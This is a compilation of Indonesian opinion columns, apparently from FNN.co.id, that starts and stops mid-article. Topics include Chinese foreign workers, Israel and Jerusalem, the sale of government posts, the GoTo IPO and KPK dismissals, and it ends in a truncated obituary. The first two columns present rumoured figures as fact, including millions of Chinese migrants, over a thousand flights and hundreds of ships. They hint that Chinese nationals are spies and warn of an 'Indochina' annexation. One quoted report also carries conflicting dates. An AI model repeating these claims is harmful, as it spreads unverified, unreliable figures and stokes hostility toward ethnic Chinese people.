1-2-3-4-5-6 penerbangan beriringan ke arah timur di utara laut Jawa,” ucap sorang pemantau radar. “Yang saya khawatirkan itu isinya WNA yang mau dipindah yang baru masuk ke wilayah RI Kalau hari normal selama pandemik ini ga pernah saya lihat kejadian seperti ini. Jam segini rata-rata sepi, kosong. Beriringan, dan semua bergerak ke arah timur,” lanjutnya. Meski Menteri Perhubungan Budi Karya Soemadi membantah tidak ada pesawat carteran selama masa pandemi, namun toh faktanya, keesokan harinya setelah ramai ada “bocoran” pemantau radar itu, ada 4 pesawat tiba di Bandara Maleo Morowali. Keempat pesawat carter itu membawa TKA asal China dengan jumlah totalnya 352 orang. Fakta kedatangan 4 pesawat carter di Bandara Maleo ini jelas menjawab bantahan Menhub yang disiarkan secara nasional melalui televisi itu. Bagi rakyat China, setidaknya pandemi Covid-19 telah membawa keberuntungan. Migrasi besar-besaran rakyat China menuju Indonesia bisa aman terkendali. Kalau kemudian terjadi lonjakan kasus Covid-19 pasca Lebaran, jangan salahkan umat Islam. Kabarnya, selama pandemi yang dimulai pada akhir 2019 - 2020 - 2021 setudaknya terdapat 1.238 penerbangan dari China ke Indonesia melalui bandara-bandara internasional maupun bandara-bandara kecil di seluruh wilayah Indonesia. Konon pula, sebanyak 933 kapal-kapal besar dan sedang telah membawa para emigran melalui pelabuhan-pelabuhan besar dan kecil di pelosok Indonesia. Hingga 2021, jumlahnya telah melebihi kuota 10 juta lapangan kerja yang pernah dijanjikan Presiden Jokowi. Sebanyak 125 perusahaan konglomerasi yang ada di Indonesia sudah menjamin kesejahteraan seluruh emigran beserta keluarganya untuk menetap dan menjadi WNI. Jika kabar ini benar adanya, maka bisa dipastikan rakyat Indonesia bakal “tersingkir”. Penulis wartawan senior FNN.co.id

Belajar Kasus Palestina, Indonesia Harus Waspada TKA Cina Ilegal dan Legal!

By Mochamad Toha Surabaya, FNN - Ketika terjadi pengusiran dan penindasan kaum Yahudi di Eropa, termasuk oleh kelompok Katholik dan Spanyol, pada abad ke-19, terjadi migrasi kaum Yahudi Zionis dari Eropa ke Palestina dengan tujuan mendirikan Negara Yahudi. Pada 1917 Inggris mengeluarkan Deklarasi Balfour untuk tujuan mendirikan negeri Yahudi di Palestina. Pada 1922 Liga Bangsa-Bangsa menyerahkan mandat Palestina yang mayoritas penduduknya beragama Islam, kepada Inggris. Kemudian, terjadi migrasi besar-besaran orang Yahudi Eropa ke Palestina, sehingga terjadi pemberontakan bangsa Arab Palestina pada 1936. Akhirnya, Inggris melakukan pembatasan migrasi penduduk Yahudi dari Eropa ke Palestina. Pada 1945 populasi warga Yahudi di Palestina mencapai 33% dari total penduduk Palestina akibat migrasi terus-menerus ke Palestina yang disponsori Inggris. Yang terjadi kemudian, pada 1947 PBB mengeluarkan Resolusi rencana pembentukan dua negara di Palestina, yakni negara Arab dan negara Yahudi. Yerusalem akan dijadikan kota internasional untuk menghindari konflik. Pihak Yahudi menerima rencana itu. Tapi pihak Arab menolak dengan alasan bahwa pihak Yahudi mendapatkan jatah 55% wilayah Palestina, padahal populasi warga Yahudi hanya sekitar 30%. Pihak Arab menilai itu tidak adil. Setelah itu terjadi konflik bersenjata dan warga Arab di Palestina mulai banyak mengungsi keluar Palestina. Sekarang ini di dalam negeri Israel, warga Arab menjadi minoritas, sekitar 20% dari penduduk Israel. Pada 1948 Yahudi Israel memproklamirkan Negeri Israel. Lalu terjadi Perang Arab - Israel. Pihak Arab kalah dalam perang itu. Inilah awal bencana perampasan tanah Palestina oleh Zionis Israel. Sejarah bangsa Arab itu ditulis oleh Ibnu Katsir, senada dengan penelitian Bryan Clifford Sykes tentang “Cheddar Man” moyang bangsa Eropa yang menyebut moyangnya adalah Easo atau Nabi Ishaq berasal dari Timur Tengah. Migrasi Investasi Belajar dari Palestina, dengan dalih investasi, Cina memboyong warganya masuk Indonesia sebagai Tenaga Kerja Asing (TKA), menyusul terpilihnya Joko Widodo sebagai Presiden RI pada Pilpres 2014. Entah kini sudah berapa total TKA China yang masuk Indonesia. Bukan tidak mungkin, pengalaman Palestina yang tanahnya dirampas dan diduduki Zionis Israel juga bisa terjadi di Indonesia. Karena, faktanya TKA China itu sudah “menguasai” beberapa pelosok di tanah air. Baik yang legal maupun ilegal. Dari manakah mereka datang? Mengapa bisa masuk ke Indonesia tanpa dokumen dengan mudah? Perlu bukti apalagi, semua terjadi sejak Jokowi menjadi Presiden RI. Ini sebagian kecil WNA China yang tertangkap. Ada 4 WN China ilegal, tidak bisa berbahasa Indonesia, nyasar ke Tasikmalaya, Jawa Barat? Sebagai mata-mata? Menyusup ke daerah-daerah yang banyak umat Islamnya? Koq mereka bisa bebas berkeliaran di daerah-daerah di Indonesia? Jangan sampai terjadi Negara Kesatuan Republik Indonesia (NKRI) berubah menjadi negara “Indochina”. Karena, bukti-bukti menuju ke arah itu sudah ada di depan mata. Migrasi besar-besaran WN China dengan dalih TKA telah berlangsung secara massif. Jejak digital sudah bersaksi bagaimana mereka bisa sampai ke daerah seperti yang terjadi di Tasikmalaya. Empat WN China ilegal dengan dalih akan menikahi gadis Tasikmalaya telah ditangkap dan dideportasi. Melansir Merdeka.com, Rabu (8 Mei 2019 21:28), Kantor Imigrasi Kelas II Tasikmalaya sempat menahan dan mendeportasi empat WN China berinisial YS (21), ZX (31), LY (26), dan SM (27). Mereka juga dicekal masuk ke Indonesia dalam jangka waktu tertentu “Empat WNA China itu dikenakan Pasal 71 B Undang-Undang nomor 6 tahun 2011 tentang Keimigrasian,” ungkap Kepala Sub Seksi Pengawasan Kantor Imigrasi Kelas II Tasikmalaya Sarial kepada wartawan, Rabu (8/5/2021). Sarial menyebut, keempat WNA itu dipulangkan Kamis (9/5/2021) menggunakan maskapai AirAsia dari Bandara Soekarno-Hatta, Tangerang. Ia juga mengaku bahwa pihaknya sudah melakukan koordinasi dengan Kedutaan Besar China di Indonesia. Pemerintah China melalui Kedubes-nya mengakui kesalahan keempat warganya itu. “Kita sempat menceritakan kronologis kejadian sehingga mereka (Kedubes China) memahami dan mengakuinya,” lanjutnya. Diberitakan, Kantor Imigrasi Kelas II Tasikmalaya mengamankan 4 WN China. Keempat orang tersebut diamankan saat hendak menikahi warga Tasikmalaya karena diketahui tidak memiliki dokumen berupa paspor. Berdasarkan hasil pemeriksaan, para WNA itu datang ke Indonesia pada 13 Maret 2018 melalui Bandara Soekarno-Hatta, Tangerang, Banten. Keempatnya mengaku baru pertama kali mengunjungi Indonesia. Sebelumnya, melansir CNN Indonesia, Minggu (12/08/2018 22:53 WIB), Polsek Kalibaru kawasan Polres Pelabuhan Tanjung Priok, Jakarta, mengamankan enam orang TKA China saat berada di sebuah warung. Mereka tak memiliki dokumen identitas yang sah. Mereka sedang duduk di warung samping Polsek Kalibaru, lalu salah satunya dipanggil oleh Perwira Pengawas Polsek Kalibaru Ipda Budi Santoso di Jakarta Utara, seperti dikutip dari Antara, Minggu (12/8/2018). Ternyata dia tidak dapat menunjukkan identitas lengkapnya. Budi mengatakan enam orang asing yang diamankan itu terdiri dari lima orang asal China dan satu asal Malaysia. Mereka bekerja dengan agen PT. Duri Rejang Berseri. Enam nama warga asing yang diamankan polisi tersebut yaitu Dik Wong (Malaysia), Wang Dan (China), Xu Guoquan (China), Zhang Wandong (China), Li Xuguang (China), dan Wong Ten Teck (China). Pada awal November 2016 malah ada empat WN China ditangkap pihak Imigrasi di wilayah Kabupaten Bogor, Jawa Barat, saat bertani. Mereka merupakan laki-laki, masing-masing Xue Qingjiang (51), Yu Wai Man (37), Gu Zhaojun (52) dan Gao Huaqiang (53). Mereka ditangkap di Kampung Gunung Leutik, Kecamatan Sukamakmur, Kabupaten Bogor, Jabar, Selasa (8/10) pukul 13.00 WIB. Penangkapan dilakukan oleh Tim Pora DKI Jakarta dan Tim Pora Imigrasi Kelas II Kota Bogor. Melansir Detik.com, Kamis (10 Nov 2016 18:59 WIB), sebelumnya, Tim Pora DKI Jakarta mendapatkan informasi dari masyarakat tentang adanya keberadaan WN China di lokasi tersebut. Keempat WN China ini sedang menanam cabai. Tim Pora DKI Jakarta kemudian melakukan pengecekan ke lokasi. Benar saja, mereka ini menanam cabai di atas lahan 4 ha. Tim Pora DKI Jakarta kemudian melakukan koordinasi dengan Tim Pora Imigrasi Kelas II Kota Bogor. Mereka pun kemudian ditangkap. Xue Qingjiang dan Yu Wai Man saat diperiksa tidak punya paspor dan dokumen apapun. Sementara Gu Zhaojun dan Gao Huaqiang menyalahgunakan visa kunjungan. Kedua WN China yang tidak membawa paspor beralasan dokumennya dibawa sponsor. Kasus serupa juga terjadi di Kota Tangerang. Sebanyak 24 WN China yang bekerja di PT Hengdastell Indonesia yang berada di Kelurahan Gandasar, Kecamatan Jatiuwung, Kota Tangerang, terjaring razia. Mereka masuk secara ilegal. Mengutip Merdeka.com, Senin (1 Juli 2019 22:25 24), mereka tidak mampu menunjukkan dokumen lengkap seperti paspor dan kartu izin tinggal terbatas/tetap (Kitas). Bagaimana mereka ini bisa masuk dengan mudahnya? Itulah yang patut diselidiki. Apalagi belakangan ini di saat pandemi Covid-19 dan larangan mudik Lebaran, migrasi TKA China ini berlangsung secara massif dan nyaris tidak diketahui jumlahnya. Para TKA China ini sudah menyebar ke berbagai wilayah di Indonesia. Sayangnya, berapa jumlah sebenarnya, yang legal maupun ilegal, tak ada datanya. Kementerian Ketenagakerjaan hanya memunculkan angka sekitar 40.357 TKA China. Data itupun untuk mencegah penyebaran virus corona yang berpotensi terjadi di tempat kerja. TKA China adalah 40.357 orang per 3 Februari 2020. Belajar dari pengalaman Palestina-Israel sudah selayaknya Indonesia juga harus waspada! “Indochina” seperti yang ramai diisukan bisa saja terjadi, dengan cara China menganeksasi Indonesia melalui model-model TKA serampangan. Sudah saatnya pula masyarakat Indonesia meningkatkan kewaspadaannya terhadap hal ini. Indonesia haruslah tetap menjadi Indonesia sampai kapan pun jua. Bukan malah menjadi Indochina! Penulis wartawan senior FNN.co.id

Mana Bupati-Walikota Yang Tidak Jual-Beli Jabatan?

BUPATI Nganjuk, di Jawa Timur, Novi Rahman Hidayat (NRH), terjaring dalam OTT KPK pada 10 Mei 2021. Tuduhan primernya adalah menjual jabatan. Tidak tanggung-tanggung. Hampir semua posisi yang berada di bawah pemerintah kabupaten (pemkab), diperjual-belikan. Dalam operasi ini, KPK menyita uang tunai hampir 700 juta rupiah. Bersama NRH, KPK menangkap sejumlah orang yang diduga terlibat jual-beli jabatan itu. Termasuk sejumlah camat. KPK mengatakan, mereka menduga kuat NRH meletakkan tarif untuk posisi-posisi di lingkungan pemkab. Bahkan, sampai ke level perangkat desa-kelurahan. Untuk yang terendah ini, diperkirakan haganya antara 10-15 juta. Untuk jabatan yang lebih tinggi tarifnya bisa 150 juta. Atau lebih. Nah, apakah jual-beli jabatan di lingkungan pemkab atau pemko (pemerintah kota) merupakan bentuk korupsi baru? Konyol sekali kalau ada yang mengatakan iya. Sebaliknya, coba tunjukkan mana bupati atau walikota yang tidak memperjual-belikan jabatan? Kalau pun ada yang tidak mencari duit dari jual-beli jabatan, pastilah jumlahnya sedikit sekali. Terus, apakah jual-beli jabatan hanya terjadi di jajaran pemerintahan dalam negeri saja? Kembali lagi kita bertanya, apakah Anda bisa tunjukkan bos-bos instansi apa pun yang bersih dari jual-beli jabatan. Mari kita layangkan pertanyaan kepada para bos di Polri: ada atau tidak ada praktik jual-beli jabatan di Kepolisian? Kita hanya bertanya saja. Bukan menuduh. Ada atau tidak ada jual-beli jabatan di Polda, Polres, dlsb? Pertanyaan yang sama mari kita layangkan ke Kejaksaaan Agung: ada atau tidak ada jual-beli jabatan di sana? Pertanyaan serupa juga ditujukan kepada semua Kejaksaan Tinggi di seluruh Indonesia. Ada 34 kejaksaan tinggi. Mohon jawaban jujur dari Anda semua. Jadi, dugaan jual-beli jabatan yang dilakukan NRH di pemkab Nganjuk kelihatannya hanya fenomena puncak gunung es (tip of iceberg). Kalau KPK serius mau membasmi jual-beli jabatan, coba saja Anda lakukan ‘surveillance’ (penguntitan) terhadap semua bupati-walikota. Rasanya kita berani jamin KPK bisa menjerat 100 atau 200 bupati-walikota dalam setahun. Jual-beli jabatan juga ditengarai berlangsung di level kementerian. Belum lama ini, majalah Tempo mengungkap dugaan juel-beli jabatan eselon dan dirjen di Kementerian Desa. Pernah pula terungkap praktik jual-beli jabatan di lingkungan Kementerian Agama (Kemenag). Mantan ketum PPP, Muhammad Romahurmuziy (Romi), tertangkap tangan oleh KPK (Maret 2019) dalam kaitan ini. Pengadilan Tipikor menjatuhkan vonis dua tahun penjara kepada Romi karena terbukti menjadi pemeran jual-beli jabatan di kementerian yang waktu itu dipegang oleh Lukman Hakim Saifuddin. Bagaimana dengan kementerian-kementerian lain? Wallahu a’lam. Yang jelas, sudah tertangkap dua menteri yang terlibat korupsi yaitu Juliari Batubara (ketika menjadi Mensos) dalam kasus Bansos dan Edhy Prabowo (semasa menjadi menteri kelautan) dalam kasus ekspor bibit lobster. Kedua menteri ini memang tidak terlibat korupsi jual-beli jabatan. Namun, kasus korupsi yang mereka lakukan itu menunjukkan bahwa ada persoalan mentalitas di kalangan para pejabat pemerintah. Artinya, secara umum korupsi apa saja kemungkinan besar akan dilakukan oleh seorang pejabat. Termasuk jual-beli jabatan. Dalam hal bupati-walikota, jual-beli jabatan adalah ‘tambang duit’ yang paling enak. Tidak terlalu besar risikonya. Transaksi bisa diatur agar luput dari radar KPK atau penegak hukum lainnya. Jual-beli jabatan bisa dilakukan tanpa jejak. Misalnya, orang yang menagih duit upeti bisa dibuat ‘tanpa hubungan’ dengan si pejabat yang menjualbelikan jabatan. Berdasarkan kemungkinan inilah, kita wajar bertanya: tunjukkan kepada rakyat mana bupati-walikota yang tidak menambang duit dari lelang jabatan.[AU]

Target Israel adalah Ethnic Cleansing di Jerusalem

By Asyari Usman Medan, FNN - Pemimpin Yahudi zionis, Benjamin Netanyahu, sedang melakukan pembersihan suku atau “ethnic cleansing” (EC) di Jerusalem. Tujuannya, agar kota yang dulunya mayoritas dihuni oleh warga Arab-Muslim, hanya akan dihuni oleh orang-orang Yahudi –khususnya Yahudi zionis. Jerusalem mau dijadikan “pure Jewish city”. Murni kota Yahudi. Tidak ada lagi etnis lain, khususnya etnis Arab. Anggota legislatif Palestina, Dr Hanan Ashrawi, dan para pengamat serta wartawan Palestina melihat taktik pemerintah ekstremis-sadis Netanyahu jelas ke arah EC. Secara bertahap, sedikit demi sedikit, Netanyahu merampas properti (tanah dan rumah) warga Arab. Mereka diusir paksa. Belakangan ini dengan teror serangan udara. Masyarakat internasional tak berkutik. Amerika Serikat (AS) diam saja. Begitu juga Uni Eropa. Bahkan membiarkan Netanyahu membunuhi warga Arab sejak sebelum Ramadhan hingga akhir bulan suci baru lalu. Semua mereka bisa “memahami” tindakan kejam Israel. Mengapa Israel zionis melakukan EC? Sebab, dalam pandangan mereka, satu-satunya cara untuk menjamin keamanan dan ketenteraman warga Yahudi di Jerusalem, atau umumnya di seluruh pelosok yang dirampas dari Palestina, adalah dengan menyingkirkan warga Arab. Mengapa Israel berani melakukan itu? Karena mereka didukung oleh AS. Sudah sejak 14 Mei 2018, tepat 70 tahun permulaan perampasan tanah Palestina oleh Yahudi zionis, AS menunjukkan dukungan simbolis terhadap EC. Yaitu, dengan memindahkan kedutaan besar mereka dari Tel Aviv ke Jerusalem. Mungkinkah EC sukses? Tergantung konstelasi politik domestik di Israel dan sikap negara-negara pelindung mereka. Di dalam negeri, masih ada kelompok Yahudi yang menentang EC. Tetapi, suara mereka sangat rentan. Dan Netanyahu tahu bagaimana cara membungkam kelompok Yahudi yang menentang itu. Yaitu, memprovokasi warga Arab-Muslim di Jerusalem melalui perampasan rumah-tanah mereka dengan cara teror. Bagaimana dengan konstelasi internasional? Dijamin 100% mendukung Israel zionis merampas tanah-rumah warga Arab. AS, Inggris, Prancis selalu memihak Israel. Perampasan pasti akan dilawan. Ketika perlawanan berskalasi, pemerintah Israel tinggal menunjukkan kepada kelompok Yahudi penentang EC bahwa orang Arab-Muslim pasti akan membuat keonaran terus. Dan cara ini selalu efektif. Sebagai contoh, sekarang ini pemimpin oposisi, Yair Lapid, mendukung Netanyahu dalam menghadapi Hamas. Sebelumnya, Lapid disebut-sebut berpeluang membentuk pemerintahan setelah hasil pemilu legislatif Israel berakhir tanpa partai mayoritas. Dalam perang dengan Hamas saat ini, Netanyahu bersumpah akan melanjutkan gempuran sampai tidak lagi diperlukan. Taktik ini sangat manjur. Netanyahu dinilai bisa dipercaya melindungi rakyat Israel. Begitulah seterusnya. Netanyahu atau pemimpin ekstremis lainnya akan selalu memanfaatkan provokasi sebagai cara untuk mencapai EC di Jerusalem. Hampir pasti, setelah konflik yang ada ini mereda, mereka akan kembali merampas rumah-tanah warga Arab-Muslim. Begitu terjadi kerusuhan akibat perampasan, Israel akan gunakan serangan militer berkekuatan penuh dengan dalih untuk melumpuhkan Hamas. Jadi, polanya adalah: provokasi sambil rampas rumah Arab-Muslim, Begitu terusir akan muncul perlawanan. Hamas ikut melawan. Setelah Hamas menyerang, pemerintah ekstremis Israel membalas. Netanyahu atau siapa pun yang berhaluan kejam, akan didukung. Inilah cara merampas sambil mempertahankan kekuasaan. Berapa lama Yahudi zionis bisa merampungkan EC di Jerusalem? Dari 920,000 total penduduk kota ini, hampir 350,000 warga Arab (37%). Relatif cukup besar. Kelihatannya, perlu waktu panjang untuk mengusir semua warga Arab dari kota itu. Mungkin perlu ratusan kali lagi perang dengan Hamas sebelum EC tuntas. Atau, tidak akan pernah tuntas. Bisa saja ada skenario tak terduga yang akan terjadi.[] (Penulis wartawan senior FNN.co.id)

Saatnya Raksasa Digital Exit, Saatnya Kita Mandiri

Memandirikan ekonomi masyarakat dengan platform community digital 4.0 untuk membentuk society 5.0 yang berdaulat. By Agus M Maksum Jakarta, FNN - Era Industri Digital 4.0 telah menjadi life style warga masyarakat kita, baik tua (kaum baby boomers/ generasi kolonial) maupun mudanya (kaum milenial) apalagi generasi Z yang lahir setelah tahun 2000-an. Bahkan tren ini segera akan menciptakan sebuah masyarakat yang disebut society 5.0, sebuah masyarakat yang kehidupannya sangat bergantung pada teknologi digital. Sementara sebenarnya Industri 4.0 yang sekarang kita nikmati ini masih pada fase semu. Ekonomi sebenarnya masih di-drive oleh perusahaan startup digital raksasa, namun perusahaan raksasa tersebut masih dalam masa bakar uang, masih belum mendapatkan profit dari transaksi jual beli atau jual jasanya, mereka bahkan masih merugi. Artinya besarnya perusahaan-perusahaan raksasa digital tersebut masih ditopang oleh masuknya uang dari Investor untuk dibakar guna mempertahankan dan menambah user, karena user sebenarnya masih labil, user menggunakan aplikasi bukan karena terpenuhi kebutuhan dasarnya tapi karena promo-promo yang menggila. Namun ketika para raksasa digital itu akan sampai pada strategi exitnya, maka menjadi pertanyaan besar, apakah mereka masih akan exist dengan strategi bakar uangnya ? Apakah mereka masih akan memberikan discount, harga murah dan berbagai kemudahan lainnya, atau justru mereka akan terjebak pada layanan yang menjadi mahal dan mencekik, karena kini saatnya mereka harus mengembalikan uang ratusan trilyun rupiah yang telah dibakar selama ini. Berita terakhir yang kita baca misalnya Gojek status Decacon valuasi 140 T merger dengan Tokopedia valuasi 98T menjadi GOTO, perusahaan GOTO hasil merger segera akan IPO dengan target memperoleh uang 580 T dari lantai bursa. Sangat mudah dibaca bahwa investor akan mencari untung dari profitiking saham perdana, bukan dari profit putaran bisnis atas jasa jual barang dan jasa dari aplikasinya. Saya khawatir target IPO GOTO yang sangat tinggi sebesar 580 T adalah strategi exit para mafia investor untuk mengembalikan uang yang telah dibakar dari dua raksasa digital Gojek dan Tokopedia sebanyak 240 T. Uang yang dibakar sebanyak 240 T itulah yang telah menjadi “narkoba” yang menjadikan kelompok milenial menjadi addict/ kecanduan berbagai layanan Gojek dan Tokopedia mulai dari cashback, discount, harga murah, iklan gratis, free ongkir dll, dan itu semua memakan uang untuk dibakar 240 T. Lalu dari mana investor balik modal? Merger menjadi GOTO lalu IPO di bursa saham dan mentarget penjualan saham 580 T itulah jawabnya! Kalau itu tercapai maka investor akan mendapatkan untung 340 T dari IPO. Sementara valuasi perusahaan digital adalah user, bila user sudah tidak mendapatkan lagi cashback, discount, free ongkir dan berbagai subsidi dari bakar uang maka apakah user masih loyal? Bagaimana kalau muncul aplikasi sejenis yang sedang bakar uang, apakah user tidak akan berpindah ke lain hati, sebagaimana berpindahnya user BBM messenger ke WA sehingga RIM perusahaan penyelenggara BBM nyungsep! Pertanyaan besarnya, apakah keuntungan 340 T dari IPO akankah dibakar lagi untuk mempertahankan user yang menjadi dasar valuasi perusahaan? Silakan dipikir sendiri. Bukankah ini potensial menjadi Buble Ekonomi seperti di peringatkan oleh Mentri Keuangan kita Ibu Sri Mulyani, Digital Power Concentration akan mengarah pada Buble ekonomi yang siap memicu krisis ekonomi. Lalu bagaiamana kita mempersiapkan diri menghadapi strategi exit para pemain raksasa digital, bila memang mereka exit. Kita harus ciptakan Platform Digital 4.0 yang loyalitas usernya bukan dari bakar uang. StartUp Digital yang user engagement/ loyalitas usernya didrive dari gerakan sosial dari ikatan komunitas saling membutuhkan, bukan dari cara instan bakar uang yang berpotensi menimbulkan bubble ekonomi. Kita harus membangun kesadaran masyarakat untuk membangun gerakan ekonomi komunitas dengan Teknologi Digital 4.0 dan menciptakan Platform Digital 4.0 untuk menjadikan gerakan itu berjalan mengikuti life style yang sudah terbentuk. Kota seperti Surabaya dan kota besar lainnya bisa memulai ini, bisa kita mulai dengan pemberdayaan komunitas yang ada di kota, sehebat apapun produk korporat dia butuh market/pasar, pasar adalah anggota komunitas. Bila anggota komunitas saling berkomitmen untuk saling memenuhi kebutuhan antar anggota melalui platform digital dalam komunitas maka saling memenuhi kebutuhan anggota komunitas bisa menjadi energi pengikat untuk kemandirian komunitas pada hal mendasar misalnya sembako dan kebutuhan sehari hari misalnya beras, gula,minyak, sabun cuci, kacang goreng, bumbu dapur, camilan produk rumah tangga dsbnya. Membangun kesadaran ekonomi komunitas bisa kita mulai dari komunitas-komunitas yang ada di Surabaya misalnya kelurahan RT/ RW, ibu-ibu arisan dll. Community sudah ada dan mereka punya modal leadership yang kuat untuk dibangun kesadaran kemandirian di mulai dari kebutuhan sembako dan kebutuhan harian. Bila masing--masing pemimpin membangun kesadaran kolektif dalam lingkup komunitas di wilayahnya untuk bisa saling memenuhi kebutuhan antar anggota komunitas, maka itu sudah menjadi pengganti bakar uang untuk masing-masing anggota loyal menggunakan platform digital yang dipakai oleh masing-masing komunitas. Produk kebutuhan rumah tangga kita sehari- hari, sangat bisa diisi, dipenuhi, dan didominasi oleh produk rumahan industri skala rumah tangga, misalnya sabun cuci, sabun mandi, odol, resep bumbu-bumbu dapur yang sehat hasil racikan sendiri dengan packing yang proper untuk didelivery, camilan dan makanan ringan seperti kacang goreng , kacang telur, kacang mede, dan camilan sehat, semua itu adalah produk rumahan yang perputarannya cukup besar, setiap anggota community bisa punya produk yang tersedia dengan mudah di marketplace community untuk bisa saling terhubung dan bisa dipesan antar-anggota community. Perbedaan keahlian masing-masing rumah tangga dalam memproduksi barang akan menimbulkan perbedaan kebutuhan untuk saling memenuhi dengan anggota community lainnya, terjadilah proses transaksi tukar menukar yang disebut jual beli yang dibangun dengan kesadaran bersama untuk saling memenuhi kebutuhan sesama anggota community. Dan inilah yang perlu kita siapkan sebagai buffer atau pengganti bila para raksasa digital telah habis masa bakar uangnya. Maka jangan sampai kehidupan kita tercekik oleh layanan yang awalnya murah banyak discount menjadi layanan yang mencekik, belajarlah dari para driver ojeg yang awalnya mendapatkan subsidi dari bakar uang menjadi sekarang harus setor pada perusahaan Aplikasi. Platform digital 4.0 berbasis ekonomi untuk kesejahteraan bersama. Dalam pasal 33 tercantum dasar demokrasi ekonomi, produksi dikerjakan oleh semua, untuk semua di bawah pimpinan atau pemilikan anggota-anggota masyarakat. Kemakmuran masyarakatlah yang diutamakan, bukan kemakmuran orang-seorang. Sebab itu perekonomian disusun sebagai usaha bersama berdasar atas usaha kekeluargaan. Bangun perusahaan yang sesuai dengan itu ialah koperasi. Perekonomian berdasar atas demokrasi, kemakmuran bagi segala orang. Sebab itu monopoli dagang korporat asing harus di imbangi oleh kesadaran community yang didorong oleh pemimpin lokal yang punya visi kuat, cabang-cabang produksi yang penting bagi negara dan yang menguasai hidup orang banyak harus dikuasai secara bersama, Kalau tidak, maka tampuk produksi jatuh ke tangan orang seorang yang adalah korporat asing yang powerful modal dan berkuasa dan rakyat yang banyak akan ditindasnya. Penulis adalah pelaku Economic Community Platform Digital 4.0

Hadiah Lebaran KPK Yang Menyakitkan!

Oleh : Ubedilah Badrun Jakarta, FNN - Dua puluh tiga tahun lalu, pada Mei 1998, nyawa telah berguguran, darah dan air mata telah ditumpahkan. Itu terjadi karena spirit semata-mata untuk memperbaiki negeri ini agar korupsi diberantas tuntas. Karenanya institusi yang digagas pada saat itu adalah Komisi Pemberantasan Korupsi (KPK). Hari ini, persis dua hari sebelum lebaran kita semua anak negeri ini dikejutkan dengan pengumuman bahwa Novel Baswedan dan 74 pegawai KPK diberhentikan. Ini menyakitkan hati, bak ditusuk sembilu. Pasalnya mereka adalah para penyidik yang memiliki integritas, diberhentikan karena dinilai tidak lulus tes wawasan kebangsaan dengan model tes yang bermasalah. Penuh nuansa terencana untuk menyingkirkan Novel Baswedan dan kawan-kawan. Power tends to corrupt, absolute power corrupts absolutely. Narasi empirik dari Lord Acton (1833-1902) itu kini diabaikan. Parahnya yang mengabaikan itu justru KPK. Memberhentikan penyidik berintegritas sama saja membiarkan kekuasaan yang cenderung korup. Jelang lebaran rakyat mestinya bahagia. Tetapi tahun ini rakyat bertubi-tubi disakiti. Dari PHK, THR yang berkurang bahkan belum dibayar, mudik yang dilarang, hingga penyidik KPK berintegritas yang diberhentikan. Menyakitkan! Rakyat sudah sakit hati sejak UU KPK disahkan meski ditolak mahasiswa dan rakyat pada 2019 lalu. UU KPK versi revisi itu kini menunjukkan taringnya untuk menggerogoti kaki-kaki pemberantas korupsi di KPK. Ini terjadi justru di tengah kuasa yang korup. Sepekan lalu sejumlah profesor mendatangi Mahkamah Konstitusi (MK). Tetapi upaya 51 Guru Besar yang meminta Uji Materi ke Mahkamah Konstitusi (MK) itu juga ditolak. Kini puluhan penyidik KPK yang berintegritas telah tersingkir melalui mekanisme tes wawasan kebangsaan yang ngaco itu. KPK dan MK dua lembaga yang dibangun dengan darah dan nyawa reformasi, kini lunglai terpuruk di titik nadir. Penyuap KPU Harun Masiku tak kunjung ditangkap. Bahkan koruptor yang merugikan negara puluhan triliun rupiah dibebaskan. Untuk pertama kalinya dalam sejarah KPK mengeluarkan SP3 (Surat Penghentian Penyidikan Perkara) untuk koruptor BLBI yang merugikan uang negara triliunan rupiah itu. Ya, lebaran tahun ini benar-benar menyakitkan. Sebagai akademisi saya bertanya-tanya, mengapa nurani dan nalar sehat KPK ini membatu. Keras kepala dan keras hati mengabaikan aspirasi rakyat. Mungkin KPK sudah jadi hamba oligarki. Apa mereka lupa bahwa milyaran bahkan triliunan rupiah APBN untuk membiayai KPK sejak berdirinya itu berasal dari pajak rakyat yang berasal dari keringat, peluh dan air mata rakyat? Rakyat tidak ingin mendapat balas budi triliunan rupiah, tetapi rakyat hanya ingin jeritan hatinya yang terdalam didengar KPK, jangan teruskan upaya melemahkan pemberantasan korupsi ini. Tetapi KPK dan elit politik republik ini berkali-kali mengabaikan jeritan rakyat. Mereka para komisioner apa buta mata hatinya bahwa saat koruptor itu beraksi menjarah uang rakyat pada saat yang sama rakyat sedang kelaparan mengais rezeki ditengah pandemi. Jika begini terus maunya penguasa, jangan kaget jika rakyat pada waktunya akan bergerak mengeksplisitkan luka hatinya yang terdalam. Karena derita lapar diberi hadiah lebaran yang menyakitkan! Ubedilah Badrun, Analis sosial politik Universitas Negeri Jakarta (UNJ).

Selamat Jalan Ustaz Zul Kepergianmu Penuh Tanda Husnul Khatimah

Nah, menurut Tengku Zulkarnain, belum satu jam meninggal dunia, mayatnya sudah mengeluarkan bau busuk. Warga ribut. Saat mau dimandikan, bau busuknya semakin menyenğat. Lama-lama warga tidak tahan dengan bau busuk yang bersumber dari mayat itu. Oleh Mangarahon Dongoran Jakarta, (FNN) - SENIN, 10 Mei 2021 sore, kabar duka itu datang dari Pekanbaru, Ibukota Provinsi Riau. Ustaz Tengku Zulkarnain berpulang ke Rahmatullah dengan tenang, setelah delapan hari berjuang melawan Coronavirus Disease 2019 (Covid-19) yang menyerangnya. Ia.masuk rumah sakit tanggal 2 Mei 2021, dan menghembuskan nafas terakhir bertepatan dengan tanggal 28 Ramadhan1442 Hijiriah. Sang ustaz yang sering dipanggil Abang itu meninggal dunia pada sepuluh hari terakhir Ramadhan. Berdasarkan kabar dari pihak rumah sakit, Ustaz Zul atau Bang Zul pergi dengan tenang menghadap Sang Khalik, sesaat azan Maghrib berkumandang di wilayah Pekanbaru. Berbagai tanda kemuliaan di saat kepergianmu Allah perlihatkan. Allah tunjukkan engkau adalah orang baik, kepergianmu adalah husnul khatimah. Meningal dunia dalam usia 57 tahun, Tengku Zulkarnain adalah putra Melayu, kelahiran Medan 14 Agustus 1963. Banyak kenangan yang akan dikenang umat, khususnya penggemar ceramahmu. Saat engkau di podium, ceramahmu berapi-api. Engkau bagaikan singa galak yang siap menerkam, bagaikan harimau Sumatera yang tidak mau kalah dengan musuh-musuh Islam. Maka, wajarlah Ustaz Abdul Somad menuliskan, "Engkau tiada takut pada siapa pun, kecuali takut hanya pada Allah." Berbagai kenangan itu juga yang saya coba ingat kembali, saat kita bertemu di Masjid Raya Al-Hakim, di Jalan HOS Tjokroaminoto, Jakarta Pusat, sebelum.masjid itu pindah ke lingkungan Taman Menteng yang lokasinya masih berdekatan. Sudah lama mengenalnya. Perjumpaan kita terputus, 